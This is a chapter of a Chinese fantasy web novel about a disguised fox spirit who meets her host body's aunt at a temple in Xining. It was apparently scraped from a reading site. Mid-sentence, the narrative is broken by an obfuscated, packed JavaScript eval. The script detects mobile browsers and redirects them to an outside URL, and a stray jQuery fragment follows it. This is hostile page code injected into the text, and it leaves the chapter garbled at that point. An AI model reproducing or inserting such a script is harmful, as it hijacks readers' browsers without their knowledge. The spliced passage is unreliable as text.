10.第 10 章
作品:《戏精狐狸今天也在伪装小白花》 千夜坐直身上在床上打坐,周身经脉感应着灵力流动全身,带来久违的舒适感。
好在如今这具身体的天资尚可,这段时间在沈月澜身边吸收了不少灵力。
她终于成功晋升至练气初期。
只是……这样还不够。
她还需要再想办法。
“老大!是我!”窗外传来赤狐的声音。
千夜将窗户推开一条缝隙,赤狐灵巧跃入房中,口中还衔着几只小巧的玉瓶。
赤狐将瓶罐小心放在地上——全是用于增加修为的丹药。
“老大,这些都是我们三平日攒下的,您先拿去用。”
“你怎知道我需要这个?”
千夜眼睛都亮了,流露出惊喜之色。
赤狐不好意思地挠了挠耳朵:“您身上一丝妖力都没有,虽然不知道您要做什么。”
它抬起头,眼神认真,“但您放心!只有我们三只小狐知道您的真实身份,绝不泄露!从今往后,您就是我们的老大!”
“我们还一起立了心誓,如有违背,元神尽灭。”
它说得认真,千夜抬手不轻不重地敲了下它的脑门:“别乱认老大,给你自己脸上贴金。我救你,不过是顺手。”
这狐狸,心思倒是敏锐,也懂得知恩回报。
赤狐被敲得缩了缩脖子,但看千夜的眼神依旧亮晶晶的。
“不说这个了。”千夜将话题转回正事,“越凌这个人,你查到了吗?”
“没查到。”赤狐四肢蹲坐在地上,摇了摇头。
千夜拿起一瓶又一瓶的丹药一股脑倒进嘴里,囫囵咽下。
药力化开,却对那破碎妖丹的修复效果微乎其微,瞬间就被消耗殆尽。
寻常人修行提升境界,妖族修行要凝练提升妖丹,而她如今两者都要。却也是不管哪个窟窿都填不满。
没有修为她就无法修复妖丹,没有妖丹她就什么都做不了。
即便想炼化木源精魄,也需要筑基境的修为作为根基,否则只怕会先被撑死。
千夜摆了摆手:“不想了,徒增烦恼。”
一旁守着的赤狐见状:“老大,其实你也不用太担心那小子。他背景硬得很,没那么容易出事。”
“我不是担心他,是这名字我分明觉得耳熟,却怎么也想不起在哪里听过。”
千夜的直觉告诉她,这名字肯定是跟她那个该死的分身脱不了干系。
越凌。
越凌……
千夜有些烦闷地抬手遮住了眼。
“不过老大,那小子已经走了你知道吗?”
千夜早料到了,她一开始也不觉得自己能劝住他。
原本只是想着能拖一时便是一时,如今他像无头苍蝇一般去到西宁郡,若是碰上绯念……
千夜光是想到那个场景,就觉得太阳穴突突直跳。
算了。
反正腿长在他自己身上。就算真在西宁遇到什么不测,那也是他自己的选择,与她何干?
再说,他有事摇人求救总会的,仙府的高手没有一千也有八百,何需她担心。
对于现在的她最重要的是提升修为。既然沈月澜送上门,她又何必跟过去引起绯念的注意呢。
千夜走到窗边那张椅子上坐下。窗外夜色沉沉,远处灯火寥落。
*
太古时期,神魔两界大战,山河倾覆。神族以己身重创为代价,终将魔界全境封入虚无妄海,隔绝于世。
战后,神族关闭三界通道,这世间早已没有真正的神明。
为肃清魔族而自愿留在人界的神族,于中州灵脉汇聚之地,合力建立天清仙府。
而在古战场之上,则建立了西宁郡,意为西陲安宁之意。
西宁郡,城内。
临街茶楼二层,一位身着绯红软烟罗裙,容貌昳丽夺目的女子正被几位男子围在中间。
女子纤指轻抚心口,眉尖微蹙,我见犹怜:“奴家初来贵宝地,人生地不熟,心中实在是焦急万分。”
“若是各位大哥行走四方,有见过一个这般高,身着玄衣,腰间佩着一柄长刀的年轻小哥,还请千万来告知奴家一声。”她比划着。
“那是奴家走失的弟弟,脑子有些不好使,独自出门许久未有音讯,家中长辈忧心如焚,奴家这才出来寻他。”
说着,眼眶竟真的泛红,拿起丝帕轻轻按了按眼角,泫然欲泣。
顿时激起了在场几位男子的无限同情与保护欲。
“绛离姑娘你放心!渡口这边每日人来人往,只要令弟从这儿过,保管给你留意着!”
“没错没错!我们驿站来往信件人员也多,各地消息灵通,定然帮姑娘多加打听!”
“姑娘莫急,咱西宁郡说大不大,说小不小,这般显眼的人物,若有消息定第一时间告知姑娘!”
女子这才显露笑意。
好不容易哄着将这几位热心的人士打发走,自称绛离的女子松了口气。
在她对面的千夜,正聚精会神的翻看着手中的书册。
千夜最终还是来了西宁。
只是她此时正在恶补修炼知识。
瘫在她面前的书册封面写着《初级阵法》与《术法基础》。
赤狐眯着狐狸眼打量着不远处的庙宇:“我看这慈静寺根本不是什么正常庙宇吧,雕梁画栋、金碧辉煌的,说是豪华宅邸园林别院也没什么区别嘛!”
寺庙坐落在西宁郡最繁华的中心地段,不仅香火鼎盛,还有许多特意前来赏景的游人。
千夜抬头端起茶杯问:“有嗅到沈月澜的气息吗?”
赤狐摇了摇头:“没有。刚刚过来搭话那几个,都是常接触人的行当。可也没有从他们身上嗅到那小子半点气味。”
西宁郡人太多了,空气中的味道过于复杂,赤狐没办法精准追查到沈月澜的气味,如同大海捞针。
千夜对这个结果并不意外。
“既然如此,我们也只好去寺里求神拜佛了。
“听说这庙宇内的神明很是灵验,或许会给我们这些迷途之人,指条明路呢?”
赤狐撇撇嘴,显然对这些没什么兴趣,但也没反对。
二人结了茶钱走出茶楼,汇入街上的人流朝着寺庙走去。
越靠近慈静寺,空气中那股浓郁的香火气味便越是刺鼻。
除了她们二人,其他人好像对这味道习以为常。
赤狐忍不住打了个喷嚏,揉了揉鼻子:“这味熏得我头痛,这些人天天闻,鼻子怕是早就失灵了吧?”
千夜看着袅袅升起的烟,不见散开,只在空中盘旋着。
显然这里有结界。
庙宇的大门处,停了两辆华丽精致的马车。
马车四周守卫重重,显然来着身份非富即贵。车帘被一只戴着翡翠镯子的手掀开,马车上下来一名中年妇人。
在她身后还跟着一名头戴白纱斗笠的女子,长长的垂纱将她的面容与脖颈遮掩得严严实实,连一丝肌肤都未露出。
千夜对这些权贵排场并不了解。
只是下意识觉得这大队人马堵在门口,排场之大导致她们只能绕道偏门,颇为不便。
就在她暗自腹诽时,目光却恰好与那刚下车的妇人对上。
方才的妇人在看清千夜模样的瞬间,她甚至不顾仪态。
快走几步迎上前来,一把握住了千夜的手。
“千语!真的是你?!”她声音激动,眼眶瞬间就红了,“好孩子,没想到……没想到竟能在这里遇见你!”
千夜一怔,没想起眼前这个人是谁。
她知道千语这个名字,姜千语。
是原身的名字。
妇人没有在意千夜的异常,或者说她沉浸在重逢的喜悦中无暇他顾。
她紧紧握着千夜微凉的手:“自打你双亲离世后,我就一直想着接你在身边好好照顾。可上次我去寻你,却找不到你,没想到能在这里重遇。”
经由她这么一提,千夜终于在记忆中搜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933397|191918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寻到。
是了,面前这位,正是原身母亲唯一的亲妹妹,她的亲姨母,西宁郡郡守夫人——顾蔓云。
在原身的记忆中,姐妹二人关系极好,只因顾蔓云嫁往西宁,两人之间见面才少了,却还是经常有书信往来。
原来自原身双亲离世后,她也曾来找过,原身却搬离了青卢镇去往天都,二人因此错过。
“青卢镇的事我也听说了,万幸你没事……”
顾蔓云絮絮地说着。
“咳咳……”
微弱的咳嗽声引起了千夜的注意,她看向旁边安静侍立在顾蔓云身侧的人。
这应该是年长她三岁的表姐孙言。
她正用一手帕掩着唇,身形单薄如纸。
顾蔓云也回过神来,意识到此处不是适合叙旧的好地方,连忙用绢帕拭了眼泪。
“瞧我,光顾着高兴,都忘了场合。”
她热络地拉住千夜的手,“千语,你既来了,正好与姨母一同去慈静寺里祈愿,我们再一同回家。”
千夜回过头看向赤狐,手上一张符箓落在地上。
赤狐会意,捡起符箓朝她点点头没入人群之中,她先去探查四周情况。
顾蔓云拉着千夜的手走在前方,给她一边引路一边介绍,对这里甚是熟悉。
千夜任由她拉着,安静的听。偶尔在恰当的时候回应一声,或点点头。
“对了,千语。”顾蔓云忽然想起什么,侧头问道,“你为何会来西宁?既然来了,怎么不早些来找姨母?是遇到了什么难处?”
“没……没有。我也是今日刚到,本想先安顿下来。”
千夜根本没想起原身还有这个姨母的事,却机缘巧合之下相认了。
顾蔓云不疑有他,反而更加心疼,握紧了她的手:“傻孩子,跟姨母还客气什么?这就是缘分,让我在这里遇见你!一会儿上了香,你直接随我回府上去住!以后有姨母在,不会再让你一个人孤苦无依。”
顾蔓云看着跟姐姐相似的面容,说着眼眶又忍不住泛红。
千夜乖巧点了点头:“姨母今日来寺中,是特地来上香祈福吗?”
顾蔓云闻言叹了口气。“说来话长。”
她怜惜地看了一眼女儿:“你表姐原定三个月前要出嫁,可就在一切都准备妥当时,她却突然一病不起,故而婚事只能一再推迟。”
“也就是这几日,才好转一些。勉强能下床走动。所以我想着,带她来这慈静寺祈愿一番,让她早日康复。”
说话间一行人踏上主殿后的一条青石子小路,穿行过月洞门。
转入一片精心打理过的园林庭院之中。
虽是深冬时节,园中却无半分凋敝之景。花木扶疏,不少树木依旧苍翠欲滴。远处传来的僧人诵经声更衬得此地清幽,仿佛将外界的尘俗喧嚣彻底隔绝。
然而这庭院中最引人注目的,并非是景观山色。
而是在两棵遮天梧桐环抱之中,立着一尊约三丈高的男子石雕。
雕像面容俊美,栩栩如生,尤其是那双微垂的眼眸,令人望之心静。
菩提树上系满了红绳的愿签,随风轻曳。
这里更是香客如云,基本都是年轻女子,她们手持愿签,在石像前诚心祝祷。
千夜打量着那石像,毫不掩饰好奇:“这供奉的又是哪路神明?”
顾蔓云闻言微微一笑,温声解释道:“这并非神佛塑像。而是一百多年前,主持修建了这座慈静寺的易峥大师。后人感念他的德行,便特在此立像纪念。”
“原来如此。”千夜了然,这类似于妖界的碑林海,寄托追思与敬仰。
只是她却又生出新的疑惑,“既非神佛,为何还有这么多人来此祈福?莫不是向他许愿皆可心想事成?”
千夜看着两棵遮天梧桐,经历过槐树精一事,她对这种难免多了几分警惕。
顾蔓云只是笑笑没有说话,拿起树下的愿签递到她手中。
“何不自己试试看呢?”

